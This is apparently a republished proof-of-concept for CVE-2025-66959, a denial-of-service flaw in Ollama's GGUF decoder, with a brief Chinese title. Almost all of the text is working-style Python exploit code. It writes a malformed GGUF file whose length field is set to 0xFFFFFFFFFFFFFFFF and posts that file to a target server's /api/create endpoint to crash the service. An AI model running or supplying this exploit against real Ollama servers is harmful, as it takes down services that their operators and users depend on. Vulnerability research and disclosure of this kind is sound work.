CVE-2025-66959: Ollama GGUF解码器未检查长度导致拒绝服务漏洞

# CVE-2025-66959 PoC - GGUF Decoder DoS # This PoC demonstrates the vulnerability in ollama's GGUF decoder # The vulnerability allows a remote attacker to cause DoS via unchecked length in GGUF decoder copy import requests import struct def create_malicious_gguf(): """Generate a malicious GGUF file with invalid length fields""" gguf_data = bytearray() # GGUF magic number gguf_data.extend(b'GGUF') # Magic # Version (typically 3) gguf_data.extend(struct.pack('<I', 3)) # TENSOR_COUNT - set to trigger vulnerability gguf_data.extend(struct.pack('<Q', 1)) # DATA_SIZE - malicious large value gguf_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Add more malformed data to trigger panic in decoder gguf_data.extend(b'\x00' * 1024) return bytes(gguf_data) def exploit_ollama(target_url, gguf_file_path): """ Exploit function to trigger DoS in ollama GGUF decoder """ # Method 1: Upload malicious GGUF file via API with open(gguf_file_path, 'wb') as f: f.write(create_malicious_gguf()) # Upload to ollama files = {'file': open(gguf_file_path, 'rb')} try: response = requests.post( f'{target_url}/api/create', files=files, timeout=10 ) print(f'Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'Request failed (expected): {e}') # Usage example if __name__ == '__main__': target = 'http://target-ollama-server:11434' exploit_ollama(target, 'malicious.gguf') print('PoC executed - check if target service is still responsive')